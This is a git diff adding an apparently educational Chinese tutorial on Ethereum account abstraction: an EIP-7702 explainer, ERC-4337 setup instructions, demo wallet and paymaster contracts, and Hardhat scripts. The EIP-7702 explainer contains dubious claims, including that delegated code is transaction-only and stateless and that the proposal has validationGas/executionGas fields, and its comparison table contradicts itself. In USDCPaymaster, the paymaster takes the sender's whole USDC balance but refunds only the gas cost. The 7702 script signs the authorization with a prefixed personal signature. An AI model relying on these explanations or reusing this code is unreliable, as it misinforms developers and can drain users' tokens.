+#### **三、Gas 优化机制**
+
+EIP-7702 通过以下方式降低 Gas 成本：
+
+1. **减少交易层级**
+   - 相比 EIP-4337 的 UserOperation 需要 Bundler 打包并支付额外 Gas，EIP-7702 直接在协议层处理，省去中间环节。
+2. **合并操作**
+   - 单笔交易可完成多步操作（如授权+转账+跨链调用），减少总 Gas 消耗。
+3. **动态 Gas 分配**
+   - 用户可灵活分配 `validationGas` 和 `executionGas`，避免为单一阶段预留过多冗余 Gas。
+
+#### **四、安全机制与风险控制**
+
+1. **代码执行沙盒化**
+   - 临时注入的 `code` 仅在本次交易中有效，无法修改账户的永久存储或触发后续交易。
+2. **签名权限隔离**
+   - `code` 中定义的签名逻辑仅适用于当前交易，不影响账户的其他操作。
+3. **钱包防护措施**
+   - 钱包需对用户展示 `code` 的意图（如“本次交易将执行以下操作...”），防止钓鱼攻击。
+4. **Gas 限额强制约束**
+   - 即使 `code` 包含无限循环，`executionGas` 上限将强制终止执行，避免网络资源滥用。
+
+#### **五、与 EIP-3074 的对比**
+
+EIP-3074 同样允许 EOA 临时委托权限给智能合约，但其机制存在以下差异：
+| 特性 | EIP-3074 | EIP-7702 |
+|---------------------|-----------------------------------|-----------------------------------|
+| **权限范围** | 委托给固定合约（AUTH/AUTHCALL） | 每笔交易自定义代码（动态灵活） |
+| **签名兼容性** | 仅支持 ECDSA | 支持任意签名算法（由代码定义） |
+| **状态影响** | 可能遗留委托关系 | 完全无状态（交易后恢复） |
+| **Gas 效率** | 较高（需多次调用） | 较低（单交易内完成） |
+
+#### **六、潜在技术挑战**
+
+1. **协议层复杂性**
+   - 需修改以太坊客户端（如 Geth、Nethermind）的交易处理逻辑，确保临时代码注入与恢复机制稳定。
+2. **开发工具适配**
+   - 钱包和 SDK（如 Ethers.js、Hardhat）需更新以支持新交易类型的构建与解析。
+3. **测试网验证**
+   - 此前测试网曾因类似提案（如 EIP-3074）出现分叉问题，需充分验证边界条件。
+
+### **总结**
+
+EIP-7702 通过引入动态代码注入的交易类型，在协议层实现了 EOA 的灵活升级，兼顾了兼容性与功能性。其技术细节体现了以太坊向智能账户体系演进的核心路径。随着 Pectra 升级的推进，这一提案有望成为链上用户体验革新的关键基础设施。
diff --git a/basic/49-Account-Abstraction/README.md b/basic/49-Account-Abstraction/README.md
new file mode 100644
index 000000000..23a958e5e
--- /dev/null
+++ b/basic/49-Account-Abstraction/README.md
@@ -0,0 +1,69 @@
+# 简介
+
+[账户抽象历史](./development.md)
+
+
+## build
+
+- 示例AA账户见contracts目录
+- js调用见scripts目录
+
+# 克隆bundler
+
+```
+git clone https://github.com/eth-infinitism/bundler
+cd bundler
+yarn
+```
+
+# 启动本地链
+
+```
+hardhat-node
+```
+
+# 启动bundler
+再开一个窗口，进入bundler目录，执行
+```
+yarn preprocess
+yarn hardhat-deploy --network localhost
+yarn run bundler --unsafe
+```
+
+# 运行测试
+
+进入本目录，如果想查看基本的全流程，执行
+```
+yarn
+yarn hardhat run scripts/basic.js 
+```
+
+如果想查看paymaster的使用，执行
+```
+yarn
+yarn hardhat run scripts/paymaster.js 
+```
+
+## TODO
+ 4337 
+ 7702
+ https://github.com/quiknode-labs/qn-guide-examples/blob/main/ethereum/eip-7702/src/BatchCallAndSponsor.sol
+ 7579
+
+## 文档
+- eip-4337文档：4337的规范。https://eips.ethereum.org/EIPS/eip-4337
+- sdk：提供了构建UserOperation，推送UserOperation的能力。源码位于https://github.com/eth-infinitism/bundler/tree/main/packages/sdk。 
+npm包位于
+https://www.npmjs.com/package/@account-abstraction/sdk。
+
+- bundler：收集UserOperation，验证并推送到EntryPoint合约。git地址https://github.com/eth-infinitism/bundler
+- contracts： 主要是EntryPoint，验证UserOperation，并调用AA账户的业务逻辑。git地址https://github.com/eth-infinitism/account-abstraction
+
+# 参考资料
+
+- [EIP-4337](https://eips.ethereum.org/EIPS/eip-4337)
+- [EIP-4337 Implementation](https://github.com/eth-infinitism/account-abstraction)
+- [Resources](https://eip4337.com/en/latest/resources.html)
+- [开发指导1](https://www.notion.so/dapplearning/1-9d99463f25ca4c32a5776f6f2cb57edf)
+- [用trampoline开发AA钱包](https://docs.qq.com/doc/DVHBBU0lxR0V4dEV4)
+
diff --git a/basic/49-Account-Abstraction/demowallet/.gitignore b/basic/49-Account-Abstraction/demowallet/.gitignore
new file mode 100644
index 000000000..e555b4faa
--- /dev/null
+++ b/basic/49-Account-Abstraction/demowallet/.gitignore
@@ -0,0 +1,15 @@
+node_modules
+.env
+coverage
+coverage.json
+typechain
+typechain-types
+
+#Hardhat files
+cache
+artifacts
+
+# circuits
+.r1cs
+.sym
+circuit_js
\ No newline at end of file
diff --git a/basic/49-Account-Abstraction/demowallet/README.md b/basic/49-Account-Abstraction/demowallet/README.md
new file mode 100644
index 000000000..7066a7a66
--- /dev/null
+++ b/basic/49-Account-Abstraction/demowallet/README.md
@@ -0,0 +1,16 @@
+# Sample Hardhat Project
+
+This project demonstrates a basic Hardhat use case. It comes with a sample contract, a test for that contract, and a script that deploys that contract.
+
+Try running some of the following tasks:
+
+```shell
+npx hardhat help
+npx hardhat test
+REPORT_GAS=true npx hardhat test
+npx hardhat node
+
+ npx hardhat run scripts/7702/scripts/deployBatchCallDelegation.js --network sepolia
+
+ npx hardhat run scripts/7702/scripts/executeBatchCallDelegation.js --network sepolia
+```
diff --git a/basic/49-Account-Abstraction/demowallet/contracts/7702/BatchCallAndSponsor.sol b/basic/49-Account-Abstraction/demowallet/contracts/7702/BatchCallAndSponsor.sol
new file mode 100644
index 000000000..fc5b8e911
--- /dev/null
+++ b/basic/49-Account-Abstraction/demowallet/contracts/7702/BatchCallAndSponsor.sol
@@ -0,0 +1,104 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.20;
+
+import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
+import "@openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol";
+
+/**
+ * @title BatchCallAndSponsor
+ * @notice An educational contract that allows batch execution of calls with nonce and signature verification.
+ *
+ * When an EOA upgrades via EIP‑7702, it delegates to this implementation.
+ * Off‑chain, the account signs a message authorizing a batch of calls. The message is the hash of:
+ *    keccak256(abi.encodePacked(nonce, calls))
+ * The signature must be generated with the EOA’s private key so that, once upgraded, the recovered signer equals the account’s own address (i.e. address(this)).
+ *
+ * This contract provides two ways to execute a batch:
+ * 1. With a signature: Any sponsor can submit the batch if it carries a valid signature.
+ * 2. Directly by the smart account: When the account itself (i.e. address(this)) calls the function, no signature is required.
+ *
+ * Replay protection is achieved by using a nonce that is included in the signed message.
+ */
+contract BatchCallAndSponsor {
+    using ECDSA for bytes32;
+
+    /// @notice A nonce used for replay protection.
+    uint256 public nonce;
+
+    /// @notice Represents a single call within a batch.
+    struct Call {
+        address to;
+        uint256 value;
+        bytes data;
+    }
+
+    /// @notice Emitted for every individual call executed.
+    event CallExecuted(address indexed sender, address indexed to, uint256 value, bytes data);
+    /// @notice Emitted when a full batch is executed.
+    event BatchExecuted(uint256 indexed nonce, Call[] calls);
+
+    /**
+     * @notice Executes a batch of calls using an off–chain signature.
+     * @param calls An array of Call structs containing destination, ETH value, and calldata.
+     * @param signature The ECDSA signature over the current nonce and the call data.
+     *
+     * The signature must be produced off–chain by signing:
+     * The signing key should be the account’s key (which becomes the smart account’s own identity after upgrade).
+     */
+    function execute(Call[] calldata calls, bytes calldata signature) external payable {
+        // Compute the digest that the account was expected to sign.
+        bytes memory encodedCalls;
+        for (uint256 i = 0; i < calls.length; i++) {
+            encodedCalls = abi.encodePacked(encodedCalls, calls[i].to, calls[i].value, calls[i].data);
+        }
+        bytes32 digest = keccak256(abi.encodePacked(nonce, encodedCalls));
+        
+        bytes32 ethSignedMessageHash = MessageHashUtils.toEthSignedMessageHash(digest);
+
+        // Recover the signer from the provided signature.
+        address recovered = ECDSA.recover(ethSignedMessageHash, signature);
+        require(recovered == address(this), "Invalid signature");
+
+        _executeBatch(calls);
+    }
+
+    /**
+     * @notice Executes a batch of calls directly.
+     * @dev This function is intended for use when the smart account itself (i.e. address(this))
+     * calls the contract. It checks that msg.sender is the contract itself.
+     * @param calls An array of Call structs containing destination, ETH value, and calldata.
+     */
+    function execute(Call[] calldata calls) external payable {
+        require(msg.sender == address(this), "Invalid authority");
+        _executeBatch(calls);
+    }
+
+    /**
+     * @dev Internal function that handles batch execution and nonce incrementation.
+     * @param calls An array of Call structs.
+     */
+    function _executeBatch(Call[] calldata calls) internal {
+        uint256 currentNonce = nonce;
+        nonce++; // Increment nonce to protect against replay attacks
+
+        for (uint256 i = 0; i < calls.length; i++) {
+            _executeCall(calls[i]);
+        }
+
+        emit BatchExecuted(currentNonce, calls);
+    }
+
+    /**
+     * @dev Internal function to execute a single call.
+     * @param callItem The Call struct containing destination, value, and calldata.
+     */
+    function _executeCall(Call calldata callItem) internal {
+        (bool success,) = callItem.to.call{value: callItem.value}(callItem.data);
+        require(success, "Call reverted");
+        emit CallExecuted(msg.sender, callItem.to, callItem.value, callItem.data);
+    }
+
+    // Allow the contract to receive ETH (e.g. from DEX swaps or other transfers).
+    fallback() external payable {}
+    receive() external payable {}
+}
\ No newline at end of file
diff --git a/basic/49-Account-Abstraction/demowallet/contracts/7702/BatchCallDedegation.sol b/basic/49-Account-Abstraction/demowallet/contracts/7702/BatchCallDedegation.sol
new file mode 100644
index 000000000..eb75d5218
--- /dev/null
+++ b/basic/49-Account-Abstraction/demowallet/contracts/7702/BatchCallDedegation.sol
@@ -0,0 +1,22 @@
+pragma solidity ^0.8.20;
+
+contract BatchCallDelegation {
+    event CallExecuted(address indexed to, uint256 indexed value, bytes data, bool success);
+
+    struct Call {
+       
+        address to;
+        uint256 value;
+        bytes data;
+    }
+
+    function execute(Call[] calldata calls) external payable {
+        require(msg.sender == address(this), "Only the contract owner can execute the calls");
+        for (uint256 i = 0; i < calls.length; i++) {
+            Call memory call = calls[i];
+            (bool success, ) = call.to.call{value: call.value}(call.data);
+            require(success, "call reverted");
+            emit CallExecuted(call.to, call.value, call.data, success);
+        }
+    }
+}
\ No newline at end of file
diff --git a/basic/49-Account-Abstraction/demowallet/contracts/DemoAccount.sol b/basic/49-Account-Abstraction/demowallet/contracts/DemoAccount.sol
new file mode 100644
index 000000000..22c4f4efd
--- /dev/null
+++ b/basic/49-Account-Abstraction/demowallet/contracts/DemoAccount.sol
@@ -0,0 +1,101 @@
+pragma solidity ^0.8.13;
+
+import "@account-abstraction/contracts/interfaces/IAccount.sol";
+import "@account-abstraction/contracts/interfaces/UserOperation.sol";
+import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
+import "@openzeppelin/contracts/access/Ownable.sol";
+import "@openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol";
+
+contract DemoAccount is Ownable, IAccount{
+
+    using UserOperationLib for UserOperation;
+    using ECDSA for bytes32;
+
+    address payable public entryPoint;
+    uint8 public threshold;
+    uint256 public nonce;
+    uint256 private constant SIG_VALIDATION_FAILED = 1;
+    
+    mapping(address=>bool) public signers;
+
+    constructor(address payable _entryPoint, uint8 _threshold, address _owner, address[] memory _signers) Ownable(_owner) {
+        entryPoint = _entryPoint;
+        threshold = _threshold;
+        for (uint256 i=0; i<_signers.length;i++){
+            signers[_signers[i]] = true;
+        }
+    }
+    
+    modifier authorized() {
+        require(msg.sender == owner() || msg.sender == entryPoint || msg.sender == address(this), "Invalid caller");
+        _;
+    }
+
+    function validateUserOp(UserOperation calldata userOp, bytes32 requestId, address aggregator, uint256 missingWalletFunds)
+    external returns (uint256 deadline) {
+        require(msg.sender == entryPoint, "Only entrypoint can call");
+        require(userOp.nonce == nonce++, "Invalid nonce");
+        bytes32 expectedUserOpHash = keccak256(abi.encode(userOp.hash(), address(entryPoint), block.chainid));
+        require(requestId == expectedUserOpHash, "Invalid request id");
+
+        bytes calldata signatures = userOp.signature;    
+        if (signatures.length < 85*uint256(threshold)) {
+            return SIG_VALIDATION_FAILED;
+        }
+        bytes32 ethHash = MessageHashUtils.toEthSignedMessageHash(requestId);
+        for (uint256 i=0;i<threshold;i++) {
+            (bytes memory signature, address signer) = _slash(signatures, i);
+            if (!signers[signer]) {
+                return SIG_VALIDATION_FAILED;
+            }
+            address recovered = ethHash.recover(signature);
+            if (recovered != signer){
+                return SIG_VALIDATION_FAILED;
+            }
+        }
+
+        if (missingWalletFunds != 0){
+            (bool success,) = entryPoint.call{value: missingWalletFunds}("");
+            //dont' throw ,
+            (success);
+        }
+        return 0;
+    }
+
+    function execute(address to, bytes calldata data, uint256 value) external {
+        require(msg.sender == entryPoint, "Only entrypoint can call");
+        (bool success, ) = to.call{value:value}(data);
+        require(success, "Call failed");
+    }
+
+    //signer(20bytes) + signature(65bytes)
+    function _slash(bytes calldata signatures, uint256 i) internal pure returns(bytes memory signature, address signer) {
+        uint256 skiped = 85*i;
+        assembly {
+            let ofs := add(signatures.offset, skiped)
+            signer := calldataload(sub(ofs, 12))
+            signature := mload(0x40)
+            mstore(0x40, add(signature, add(32, 65)))
+            mstore(signature, 65)
+            calldatacopy(add(signature, 32), add(ofs, 20), 65)
+        }
+    }
+
+    function changeThreshold(uint8 newThreshold) public authorized {
+        threshold = newThreshold;
+    }
+
+    function setSigner(address signer, bool enabled) public authorized{
+        signers[signer] = enabled;
+    }
+
+    receive() external payable {
+        
+    }
+
+    function withdraw(address payable receiver, uint256 amount) external onlyOwner {
+        require(amount > 0, "Invalid amount");
+        (bool success,) = receiver.call{value:amount}("");
+        require(success, "transfer failed");
+    }
+}
\ No newline at end of file
diff --git a/basic/49-Account-Abstraction/demowallet/contracts/EntryPointDbg.sol b/basic/49-Account-Abstraction/demowallet/contracts/EntryPointDbg.sol
new file mode 100644
index 000000000..773bc1fa6
--- /dev/null
+++ b/basic/49-Account-Abstraction/demowallet/contracts/EntryPointDbg.sol
@@ -0,0 +1,6 @@
+
+import "@account-abstraction/contracts/core/EntryPoint.sol";
+
+contract EntryPointDbg is EntryPoint{
+    
+}
\ No newline at end of file
diff --git a/basic/49-Account-Abstraction/demowallet/contracts/TargetContract.sol b/basic/49-Account-Abstraction/demowallet/contracts/TargetContract.sol
new file mode 100644
index 000000000..86869b405
--- /dev/null
+++ b/basic/49-Account-Abstraction/demowallet/contracts/TargetContract.sol
@@ -0,0 +1,10 @@
+pragma solidity ^0.8.13;
+
+
+contract TargetContract {
+
+    uint256 public val;
+    function setVal(uint256 a) external payable{
+        val = a;
+    }
+}
\ No newline at end of file
diff --git a/basic/49-Account-Abstraction/demowallet/contracts/factories/ERC4337Factory.sol b/basic/49-Account-Abstraction/demowallet/contracts/factories/ERC4337Factory.sol
new file mode 100644
index 000000000..85c2923f5
--- /dev/null
+++ b/basic/49-Account-Abstraction/demowallet/contracts/factories/ERC4337Factory.sol
@@ -0,0 +1,17 @@
+pragma solidity ^0.8.12;
+
+
+//It takes a similar format of EIP-2470.
+contract ERC4337Factory{
+    
+    function deploy(bytes memory _initCode, bytes32 _salt) external returns(address ret){
+        assembly {
+            ret := create2(0, add(_initCode, 32), mload(_initCode), _salt)
+        }
+        //Note:
+        //1. 不要require(ret != address(0)),因为EP会检查ret是否大于0，然后抛出FailOp
+        //2. sender创建后，需要一笔启动资金支付gas，不要在这里处理，而要配合Paymaster使用。如果在工厂存资金，因为任何人都能
+        //调用deployAndFund，意味着资金会被薅干净
+        //3. 如果启动的时候，还想支付sender一些资金，以执行sender的业务逻辑，好像不太行。。。
+    }
+}
diff --git a/basic/49-Account-Abstraction/demowallet/contracts/libs/EntryPointManager.sol b/basic/49-Account-Abstraction/demowallet/contracts/libs/EntryPointManager.sol
new file mode 100644
index 000000000..66e8cb6f3
--- /dev/null
+++ b/basic/49-Account-Abstraction/demowallet/contracts/libs/EntryPointManager.sol
@@ -0,0 +1,34 @@
+pragma solidity ^0.8.12;
+
+import "@openzeppelin/contracts/utils/Context.sol";
+
+contract EntryPointManager is Context {
+
+    error InvalidSender(address sender);
+
+    event SetEntryPoint(address prevEp, address newEp);
+
+    address public entryPoint;
+
+    constructor(address _entryPoint) {
+        _setEntryPoint(_entryPoint);
+    }
+
+    modifier onlyEntryPoint() {
+        _requireEntryPoint();
+        _;
+    }
+
+    function _setEntryPoint(address _entryPoint) internal{
+        address prevEp = entryPoint;
+        entryPoint =  _entryPoint;
+        emit SetEntryPoint(prevEp, _entryPoint);
+    }
+
+    function _requireEntryPoint() internal view {
+        address sender = _msgSender();
+        if (sender != entryPoint) {
+            revert InvalidSender(sender);            
+        }
+    }
+}
\ No newline at end of file
diff --git a/basic/49-Account-Abstraction/demowallet/contracts/paymaster/GasPrefundPaymaster.sol b/basic/49-Account-Abstraction/demowallet/contracts/paymaster/GasPrefundPaymaster.sol
new file mode 100644
index 000000000..c4d68df59
--- /dev/null
+++ b/basic/49-Account-Abstraction/demowallet/contracts/paymaster/GasPrefundPaymaster.sol
@@ -0,0 +1,49 @@
+pragma solidity ^0.8.12;
+
+import "@account-abstraction/contracts/interfaces/IPaymaster.sol";
+import "@openzeppelin/contracts/access/Ownable.sol";
+import "../libs/EntryPointManager.sol";
+contract GasPrefundPaymaster is IPaymaster, Ownable, EntryPointManager{
+
+    address public sender;
+
+    constructor(address _sender, address _entryPoint) EntryPointManager(_entryPoint) Ownable(msg.sender){
+        sender = _sender;
+    }
+
+    //用于证明自己真的愿意为这笔钱支付。启动资金的问题作为一道思考题，启发大家引出pm
+    function validatePaymasterUserOp(UserOperation calldata userOp, bytes32 userOpHash, uint256 maxCost)
+    external override returns (bytes memory context, uint256 sigTimeRange) {
+
+        _requireEntryPoint();
+        //大胆的报错，证明自己不想给这个人支付
+        require(userOp.sender == sender, "This paymaster is not willing to pay you");
+
+        (userOpHash, maxCost);
+        //还可以做一些额外操作，例如支付sender一笔资金,让sender执行日常的业务操作
+        require(userOp.sender.code.length > 0, "sender not existed");
+        (bool success, ) = payable(userOp.sender).call{value: 10000}("");
+        require(success, "business fund failed");
+        return (new bytes(0), 0);
+    }
+    
+    //Empty 
+    function postOp(PostOpMode mode, bytes calldata context, uint256 actualGasCost) external override{
+        _requireEntryPoint();
+        (mode, context, actualGasCost);
+    }
+
+    //为自己充值gas，这笔钱在后面paymaster中会被扣掉
+    function addDepositForSender() external payable onlyOwner {
+        (bool success,) = entryPoint.call{value: msg.value}(abi.encodeWithSignature("depositTo(address)", address(this)));
+        require(success, "Deposit failed");
+    }
+
+    //充值其他资金，用于给sender支付一些业务方面启动资金，这样后面sender里面可以直接转账了。
+    receive() external payable{
+        
+    }
+    function setSender(address _sender) public onlyOwner {
+        sender = _sender;
+    }
+}
\ No newline at end of file
diff --git a/basic/49-Account-Abstraction/demowallet/contracts/paymaster/USDCPaymaster.sol b/basic/49-Account-Abstraction/demowallet/contracts/paymaster/USDCPaymaster.sol
new file mode 100644
index 000000000..7ce8775f9
--- /dev/null
+++ b/basic/49-Account-Abstraction/demowallet/contracts/paymaster/USDCPaymaster.sol
@@ -0,0 +1,69 @@
+pragma solidity ^0.8.12;
+
+import "@account-abstraction/contracts/interfaces/IPaymaster.sol";
+import "@openzeppelin/contracts/access/Ownable.sol";
+import "../libs/EntryPointManager.sol";
+
+import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
+import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+
+//More details in https://docs.chain.link/data-feeds/price-feeds/addresses/?network=ethereum
+contract USDCPaymaster is IPaymaster, Ownable, EntryPointManager {
+    
+    AggregatorV3Interface internal priceFeed;
+    IERC20 internal usdc;
+
+    constructor(address _entryPoint) EntryPointManager(_entryPoint) Ownable(msg.sender){
+        //USDC to eth, it returns how many wei one usdc worths
+        priceFeed = AggregatorV3Interface(0x986b5E1e1755e3C2440e960477f25201B0a8bbD4);
+        usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
+    }
+
+    //用于证明自己真的愿意为这笔钱支付。
+    function validatePaymasterUserOp(UserOperation calldata userOp, bytes32 userOpHash, uint256 maxCost)
+    external override returns (bytes memory context, uint256 sigTimeRange) {
+        //1. Must be from entryPoint
+        _requireEntryPoint();
+
+        //2. Convert eth to USDC
+        (, int256 price,,,) = priceFeed.latestRoundData();
+        require(price > 0, "Invalid price");
+        uint256 priceUint = uint256(price);
+        uint256 usdcAmount = (maxCost + priceUint - 1) / priceUint;
+
+        //3. Sender must have the ability pay this token
+        address sender = userOp.sender;
+        uint256 balanceOfSender = usdc.balanceOf(sender);
+        require(balanceOfSender >= usdcAmount, "sender does not have enough balance");
+
+        //4. Sender must approve this sender first.
+        uint256 allowance = usdc.allowance(sender, address(this));
+        require(allowance >= usdcAmount, "Not enough allowance for paymaster");
+        
+        //5. Transfer usdc to paymaster
+        require(usdc.transferFrom(sender, address(this), balanceOfSender), "prepay failed");
+
+        //6. Encode context
+        return (abi.encode(sender), 0);
+    }
+
+
+    //Empty 
+    function postOp(PostOpMode mode, bytes calldata context, uint256 actualGasCost) external override{
+        //1. Verify
+        _requireEntryPoint();
+        (address sender) = abi.decode(context, (address));
+
+        //TODO:check op execute status
+
+        //2. Refund
+        (, int256 price,,,) = priceFeed.latestRoundData();
+        require(price > 0, "Invalid price");
+        uint256 priceUint = uint256(price);
+
+        uint256 usdcAmount = (actualGasCost + priceUint - 1) / priceUint;
+        require(usdc.transfer(sender, usdcAmount), "refund failed");
+        
+        
+    }
+}
\ No newline at end of file
diff --git a/basic/49-Account-Abstraction/demowallet/hardhat.config.js b/basic/49-Account-Abstraction/demowallet/hardhat.config.js
new file mode 100644
index 000000000..8d4d1f3f7
--- /dev/null
+++ b/basic/49-Account-Abstraction/demowallet/hardhat.config.js
@@ -0,0 +1,30 @@
+require("@nomicfoundation/hardhat-toolbox");
+require('dotenv').config();
+
+
+function mnemonic() {
+  //can config 3 PRIVATE_KEY
+  //return process.env.PRIVATE_KEY,process.env.PRIVATE_KEY1,process.env.PRIVATE_KEY2;
+  return process.env.PRIVATE_KEY;
+}
+/** @type import('hardhat/config').HardhatUserConfig */
+module.exports = {
+  solidity: "0.8.20",
+  networks:{
+    hardhat:{
+      allowUnlimitedContractSize: true
+    },
+    localhost:{
+      allowUnlimitedContractSize: true
+    },
+    sepolia: {
+      url: 'https://sepolia.infura.io/v3/' + process.env.INFURA_ID, //<---- CONFIG YOUR INFURA ID IN .ENV! (or it won't work)
+      accounts: [mnemonic()],
+    },
+  },
+  etherscan: {
+    apiKey: {
+      sepolia: process.env.APIKEY,
+    },
+  }
+};
diff --git a/basic/49-Account-Abstraction/demowallet/package.json b/basic/49-Account-Abstraction/demowallet/package.json
new file mode 100644
index 000000000..586edec0f
--- /dev/null
+++ b/basic/49-Account-Abstraction/demowallet/package.json
@@ -0,0 +1,29 @@
+{
+  "name": "demowallet",
+  "version": "1.0.0",
+  "main": "index.js",
+  "license": "MIT",
+  "dependencies": {
+    "@account-abstraction/contracts": "^0.4.0",
+    "@account-abstraction/sdk": "^0.4.0",
+    "@chainlink/contracts": "^0.6.0",
+    "@openzeppelin/contracts": "5.2.0",
+    "circomlib": "^2.0.5",
+    "hardhat": "^2.12.2"
+  },
+  "devDependencies": {
+    "@ethersproject/abi": "^5.4.7",
+    "@ethersproject/providers": "^5.4.7",
+
+    "@nomicfoundation/hardhat-network-helpers": "^1.0.0",
+    "@nomicfoundation/hardhat-toolbox": "^5.0.0",
+
+    "@nomiclabs/hardhat-etherscan": "^3.0.0",
+    "dotenv": "^16.4.5",
+    "chai": "^4.2.0",
+
+    "hardhat-gas-reporter": "^1.0.8",
+    "solidity-coverage": "^0.8.0",
+    "typechain": "^8.1.0"
+  }
+}
diff --git a/basic/49-Account-Abstraction/demowallet/scripts/7702/deployments/sepolia.json b/basic/49-Account-Abstraction/demowallet/scripts/7702/deployments/sepolia.json
new file mode 100644
index 000000000..620ee4695
--- /dev/null
+++ b/basic/49-Account-Abstraction/demowallet/scripts/7702/deployments/sepolia.json
@@ -0,0 +1,6 @@
+{
+  "contractAddress": "0xa044Adc2273DA286Ae777307a4Adb51a405CC730",
+  "deploymentTime": "2025-04-02T10:15:25.337Z",
+  "network": "sepolia",
+  "deployer": "0xF62F93f8D0396Cf859599dc85960bed119DdF7AB"
+}
\ No newline at end of file
diff --git a/basic/49-Account-Abstraction/demowallet/scripts/7702/scripts/deployBatchCallDelegation.js b/basic/49-Account-Abstraction/demowallet/scripts/7702/scripts/deployBatchCallDelegation.js
new file mode 100644
index 000000000..0b4cc798b
--- /dev/null
+++ b/basic/49-Account-Abstraction/demowallet/scripts/7702/scripts/deployBatchCallDelegation.js
@@ -0,0 +1,54 @@
+const { ethers } = require('hardhat');
+const fs = require('fs');
+const path = require('path');
+
+const main = async () => {
+  // Initialize wallet instance with private key and provider
+  // const wallet = new ethers.Wallet(process.env.PRIVATE_KEY, ethers.provider);
+  const [deployer] = await ethers.getSigners();
+
+  console.log('Deploying contracts with the account:', deployer.address);
+
+  // Get contract factory for BatchCallDelegation smart contract
+  const BatchCallDelegation = await ethers.getContractFactory("BatchCallAndSponsor", deployer);
+  
+  // Deploy BatchCallDelegation contract
+  console.log("Deploying BatchCallDelegation contract...");
+  const batchCallDelegation = await BatchCallDelegation.deploy();
+  
+  // Wait until the contract is fully deployed on the blockchain
+  await batchCallDelegation.waitForDeployment();
+  
+  const contractAddress = batchCallDelegation.target;
+  console.log("BatchCallDelegation deployed to:", contractAddress);
+
+  // Create deployment info object
+  const deploymentInfo = {
+    contractAddress: contractAddress,
+    deploymentTime: new Date().toISOString(),
+    network: network.name,
+    deployer: deployer.address
+  };
+
+  // Ensure the deployments directory exists
+  const deploymentDir = path.join(__dirname, '../deployments');
+  if (!fs.existsSync(deploymentDir)){
+    fs.mkdirSync(deploymentDir, { recursive: true });
+  }
+
+  // Save deployment info to JSON file
+  const deploymentPath = path.join(deploymentDir, `${network.name}.json`);
+  fs.writeFileSync(
+    deploymentPath,
+    JSON.stringify(deploymentInfo, null, 2)
+  );
+  console.log(`Deployment info saved to ${deploymentPath}`);
+}
+
+main().then(() => {
+  console.log('Deployment completed');
+  process.exit(0);
+}).catch((error) => {
+  console.error(error);
+  process.exit(1);
+});
\ No newline at end of file
diff --git a/basic/49-Account-Abstraction/demowallet/scripts/7702/scripts/executeBatchCallDelegation-signer.js b/basic/49-Account-Abstraction/demowallet/scripts/7702/scripts/executeBatchCallDelegation-signer.js
new file mode 100644
index 000000000..991e8f65f
--- /dev/null
+++ b/basic/49-Account-Abstraction/demowallet/scripts/7702/scripts/executeBatchCallDelegation-signer.js
@@ -0,0 +1,150 @@
+const { ethers } = require('hardhat');
+const fs = require('fs');
+const path = require('path');
+
+const main = async () => {
+  const [deployer] = await ethers.getSigners();
+
+  // Read deployment info from JSON file
+  const deploymentPath = path.join(__dirname, '../deployments', `${network.name}.json`);
+  if (!fs.existsSync(deploymentPath)) {
+    throw new Error(`Deployment file not found for network: ${network.name}`);
+  }
+  
+  const deploymentInfo = JSON.parse(fs.readFileSync(deploymentPath, 'utf8'));
+  const BATCH_CALL_DELEGATION_ADDRESS = deploymentInfo.contractAddress;
+  
+  console.log(`Using BatchCallDelegation at: ${BATCH_CALL_DELEGATION_ADDRESS}`);
+
+  // Define contract interface with execute function signature
+  const batchInterface = new ethers.Interface([
+    "function execute(tuple(bytes data, address to, uint256 value)[] calls)"
+  ]);
+    
+  // Define sample transaction parameters for batch execution
+  const calls = [
+    {
+      data: "0x",
+      to: "0x84286648B8252bee9BB4F56A1025913C12537E86",
+      value: ethers.parseEther("0.001")
+    }
+  ];
+
+  // Encode the execute function call with parameters
+  const calldata = batchInterface.encodeFunctionData("execute", [calls]);
+
+  console.log('Calldata:', calldata);
+
+  const currentNonce = await ethers.provider.getTransactionCount(deployer.address);
+
+  console.log('Current nonce:', currentNonce);
+
+  const authorizationData = {
+    chainId: '0xaa36a7',
+    address: BATCH_CALL_DELEGATION_ADDRESS,
+    nonce: ethers.toBeHex(currentNonce + 1),
+  }
+
+  // Encode authorization data according to EIP-712 standard
+  const encodedAuthorizationData = ethers.concat([
+    '0x05', // MAGIC code for EIP7702
+    ethers.encodeRlp([
+      authorizationData.chainId,
+      authorizationData.address,
+      authorizationData.nonce,
+    ])
+  ]);
+
+  // Generate and sign authorization data hash
+  const authorizationDataHash = ethers.keccak256(encodedAuthorizationData);
+  console.log('Authorization data hash:', authorizationDataHash);
+   const authorizationSignature = await deployer.signMessage(ethers.getBytes(authorizationDataHash));
+  // const authorizationSignature = await deployer.signMessage((authorizationDataHash));
+  console.log('Authorization signature:', authorizationSignature);
+
+
+  const { v, r, s } = ethers.Signature.from(authorizationSignature);
+  
+  console.log('V:', v);
+
+  // Store signature components
+  let yParity = v === 27 ? '0x' : '0x01';
+  authorizationData.r = r;
+  authorizationData.s = s;
+
+  
+  // Get current gas fee data from the network
+  const feeData = await ethers.provider.getFeeData();
+
+  console.log('Fee data:', feeData);
+
+  // Prepare complete transaction data structure
+  const txData = [
+    authorizationData.chainId,
+    ethers.toBeHex(currentNonce),
+    ethers.toBeHex(feeData.maxPriorityFeePerGas), // Priority fee (tip)
+    ethers.toBeHex(feeData.maxFeePerGas), // Maximum total fee willing to pay
+    ethers.toBeHex(1000000), // Gas limit
+    deployer.address, // Sender address
+    '0x', // Value (in addition to batch transfers)
+    calldata, // Encoded function call
+    [], // Access list (empty for this transaction)
+    [
+      [
+        authorizationData.chainId,
+        authorizationData.address,
+        authorizationData.nonce,
+        yParity,
+        authorizationData.r,
+        authorizationData.s
+      ]
+    ]
+  ];
+
+  console.log('Tx data:', txData);
+
+  // Encode final transaction data with version prefix
+  const encodedTxData = ethers.concat([
+    '0x04', // Transaction type identifier
+    ethers.encodeRlp(txData)
+  ]);
+
+  console.log('Tx data:', encodedTxData);
+
+  // Sign the complete transaction
+  const txDataHash = ethers.keccak256(encodedTxData);
+
